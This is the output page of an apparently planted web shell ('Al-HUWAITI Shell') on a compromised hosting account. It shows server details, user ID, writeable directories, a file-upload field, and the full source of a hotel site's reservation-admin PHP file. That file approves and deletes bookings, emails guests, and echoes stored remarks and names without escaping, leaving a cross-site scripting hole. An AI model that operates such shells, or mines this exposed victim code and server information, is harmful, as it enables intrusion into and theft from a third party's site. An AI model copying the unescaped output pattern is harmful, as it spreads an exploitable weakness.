Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/ellexsleevesapartments.com/public_html/admin1249/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/ellexsleevesapartments.com/public_html/admin1249/reservation_details.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("headerstrict.php"); ?>
<?php 
if (isset($_GET['u'])){
	$reservation_id = mysqli_real_escape_string($con,$_GET['u']);
	$stmt = $con -> prepare('SELECT * FROM reservations WHERE reservation_id=?');
	$stmt -> bind_param('s',$reservation_id);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($id,$reservation_id,$name,$email,$phone,$room_id,$check_in_raw,$check_out_raw,$fine_date,$approved,$amount,$remarks); 
	$numrows = $stmt -> num_rows();
	if($numrows > 0){
		while ($stmt -> fetch()) {
			$check_in_formatted1=date_create("$check_in_raw");
			$check_in_format = date_format($check_in_formatted1,"D,dS M, Y");
			$check_out_formatted1=date_create("$check_out_raw");
			$check_out_format = date_format($check_out_formatted1,"D,dS M, Y");

			//convert date to Y-mm-dd
	$DateTime = new DateTime($check_in_raw);
	$check_in = $DateTime->format('Y-m-d'); 

	$DateTime1 = new DateTime($check_out_raw);
	$check_out = $DateTime1->format('Y-m-d');
	
	//get array of dates to see if anyone has booked them
	$period = new DatePeriod(
		new DateTime("$check_in"),
		new DateInterval('P1D'),
		new DateTime("$check_out")
	);

	//DatePeriod actually returns an object so create a new array from $period
	// also create the 2 other arrays, one for dates from db the other to show user if date is unavailable.
	$arr_chosen=[];
	$arr_db=[];
	$unavailable_dates=[];
	foreach ($period as $key => $value) {
		array_push($arr_chosen,$value->format('Y-m-d'));
	}
	//number of days, not sure we even need it
	$no_days = count($arr_chosen);
			
			$stmt_room = $con -> prepare('SELECT header FROM rooms WHERE id = ?'); 
			$stmt_room -> bind_param('i',$room_id);
			$stmt_room -> execute(); 
			$stmt_room -> store_result(); 
			$stmt_room -> bind_result($room); 
			$numrows_room = $stmt_room -> num_rows();
			if($numrows_room > 0){
				while ($stmt_room -> fetch()) {}
			}
	}
	}
	else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}
}
else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}

if($approved == "Approved"){$c = "forestgreen";$status="Approved";}
if($approved == "No"){$c = "crimson";$status="Rejected";}
if($approved == "Pending"){$c = "royalblue";$status="Pending";}
	
?>
<title><?php echo $company_name; ?> <?php echo "$name"; ?></title>

<?php 

if (isset($_POST["delete"])) {
	$stmt = $con -> prepare('DELETE FROM reservations WHERE reservation_id = ?');	
	$stmt -> bind_param('s', $reservation_id);
	$stmt -> execute();
	
	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Reservation successfully deleted.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=reservations.php&m=$message\">";
}
$yes="Yes";
if (isset($_POST["approve"])) {
	//first check if the room is still available
	//check database and get dates from this room that have been approved.
	$yes = "Yes";
	$stmt_reser = $con -> prepare('SELECT check_in,check_out FROM reservations WHERE room=? AND approved = ?');
	$stmt_reser -> bind_param('ss',$room_id,$yes);
	$stmt_reser -> execute(); 
	$stmt_reser -> store_result(); 
	$stmt_reser -> bind_result($check_in_db,$check_out_db); 
	$numrows_reser = $stmt_reser -> num_rows();
	
	if($numrows_reser > 0){
		while ($stmt_reser -> fetch()) {
				//get array of dates from db
				$period_db = new DatePeriod(
					new DateTime("$check_in_db"),
					new DateInterval('P1D'),
					new DateTime("$check_out_db")
				);
				
				//its actually an object, so create a new array from period_db
				foreach ($period_db as $key_db => $value_db) {
					array_push($arr_db,$value_db->format('Y-m-d'));
				}
				//check to see if there are any dates in common
				$clashing_dates = array_intersect($arr_chosen,$arr_db);
				if(count($clashing_dates) > 0){
					foreach ($clashing_dates as $key_db1 => $value_db1) {
						array_push($unavailable_dates,$value_db1);     
					}
					$unavailable_dates_string = implode(" ",$unavailable_dates);
					$_SESSION["action"] = "true";
					$message="$unavailable_dates_string already booked.";
					echo "<meta http-equiv=\"refresh\" content=\"0; url=failure.php?u=index.php&m=$message\">";
					exit();
				}
		}
	}
	
	$msg = '';
	require 'PHPMailer/src/PHPMailer.php'; 
	require 'PHPMailer/src/SMTP.php'; 
	require 'PHPMailer/src/Exception.php';

	$mail = new PHPMailer();

	//$mail->IsSMTP(); // telling the class to use SMTP
	//$mail->SMTPAuth = true; // enable SMTP authentication
	$mail->Host = "localhost"; // sets the SMTP server
	$mail->Port = 25; // set the SMTP port for the GMAIL server
	$mail->Username = "$no_reply_email"; // SMTP account username
	$mail->Password = "$no_reply_password"; // SMTP account password

	
		$subject1 = "$name your reservation has been confirmed"; // form field
		$message="";
		$email_topic="$name your reservation has been confirmed";
		$button_link="$link";
		$button_text="Go to Site";
		$motto="Hospitality at its Best";
		include("email_header.php");
		$message .=	"
		Dear $name,<br/><br/>
		Thank you for making a reservation with us. Your Reservation ID is <b>$reservation_id</b>.Your payment has been verified and your booking has been successfully completed. We are looking forward to seeing you!
		<br/><br/>
		The $company_name Team.<br/>
		$email_logo
		 ";
		 include("email_footer.php");
$mail->SetFrom("$reservations_email", "$company_name");//Use a fixed address in your own domain as the from add
$mail->AddAddress("$email", "$email");//Send the message to yourself, or whoever should receive contact for submissions
$mail->AddReplyTo("$reservations_email", "$company_name"); //Put the submitter's address in a reply-to header
$mail->Subject = "$subject1";
$mail->MsgHTML("<html><body>$message<br></body></html>");
	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = "Email not sent, please try again Mailer Error: ".$mail->ErrorInfo;
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "<span style='color:steelblue;'>$name thank you for your reservation, we will get contact you shortly.</span>";
	}
	$approved_ = "Approved";
	$stmt = $con -> prepare('UPDATE reservations SET approved = ? WHERE reservation_id = ?');
	$stmt -> bind_param('ss', $approved_,$reservation_id);
	$stmt -> execute();
	
	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Reservation successfully approved.";
		echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=reservation_details.php?u=$reservation_id&m=$message\">";
}
$no="No";
if (isset($_POST["unapprove"])) { 
	$stmt = $con -> prepare('UPDATE reservations SET approved = ? WHERE reservation_id = ?');
	$stmt -> bind_param('ss', $no,$reservation_id);
	$stmt -> execute();
	
	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Reservation successfully unapproved.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=reservation_details.php?u=$reservation_id&m=$message\">";
}

if (isset($_POST["update_remarks"])) {
	$remarks = mysqli_real_escape_string($con,$_POST['remarks']);
	$stmt = $con -> prepare('UPDATE reservations SET remarks = ? WHERE reservation_id = ?');
	$stmt -> bind_param('ss', $remarks,$reservation_id);
	$stmt -> execute();
	
	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Remarks updated.";
		echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=reservation_details.php?u=$reservation_id&m=$message\">";
}
?>

<!-- ======= Breadcrumbs ======= -->
<section id="breadcrumbs" class="breadcrumbs">
  <div class="container"> </div>
</section>
<!-- End Breadcrumbs -->
<!-- ======= Contact Section ======= -->
<section id="contact" class="contact inner-page">
	<div class="container" data-aos="fade-up">

	<div class="section-title">
		<h2><?php echo"$reservation_id ($name)"; ?></h2>
		<p></p>
	</div>

<div class="row">
<div class="col-lg-4">
	<div class='php-email-form1'>
		<?php
		echo"
		<b>Name:</b> <span style='font-weight:900;'>$name</span><br/>
		<b>Email:</b> <span class='number_box'>$email</span><br/>
		<b>Phone:</b>  <span class='number_box'>$phone</span><br/>
		<b>Room:</b> <b>$room</b><br/>
		<b>Check in:</b> <b>$check_in_format</b><br/>
		<b>Check out:</b> <b>$check_out_format</b><br/>
		<b>Duration:</b> $no_days day(s)<br>
		<b>Status:</b> <span style='color:$c'>$status</span>
		<br/>
		<b>Amount:</b> - &#8358;";echo number_format($amount);
		echo"<br>Reservation made on <b>$fine_date</b><br/><br>
		
		";
		?>
		
 <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"?u=$reservation_id"; ?>" method="post"  enctype='multipart/form-data'>

	<div class='text-center'>
		<?php if($approved != "Approved"){ ?>
		<button type='submit' name='approve'>Approve</button>
		<?php } ?>
		<?php if($approved == "Approved"){ ?>
		<button type='submit' name='unapprove'>Un-approve</button>
		<?php } ?>
		<button type='submit' style='background:red !important;' name='delete'>Delete</button>
    </div>
</form>
		</div>
          </div>
		<div class="col-lg-8">
			<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"?u=$reservation_id"; ?>" method="post" class="php-email-form1" enctype='multipart/form-data'>
			<div class="form-row">
                <div class="form-group col-md-12">
									<label>Remarks</label>
					<textarea style='height:240px;' name="remarks" class="form-control" placeholder='Pertinent information regarding this reservation can be saved here' required><?php echo $remarks; ?></textarea>
                </div>
              </div>

			<div class='text-center'>
				<button type='submit' style='' name='update_remarks'>Save</button>
			</div>
</form>
		</div>

        </div><!-- end row -->
		
		
        
		

		

    </div>
</section><!-- End Contact Section -->
<?php include("footer.php"); ?>

Al-HUWAITI Shell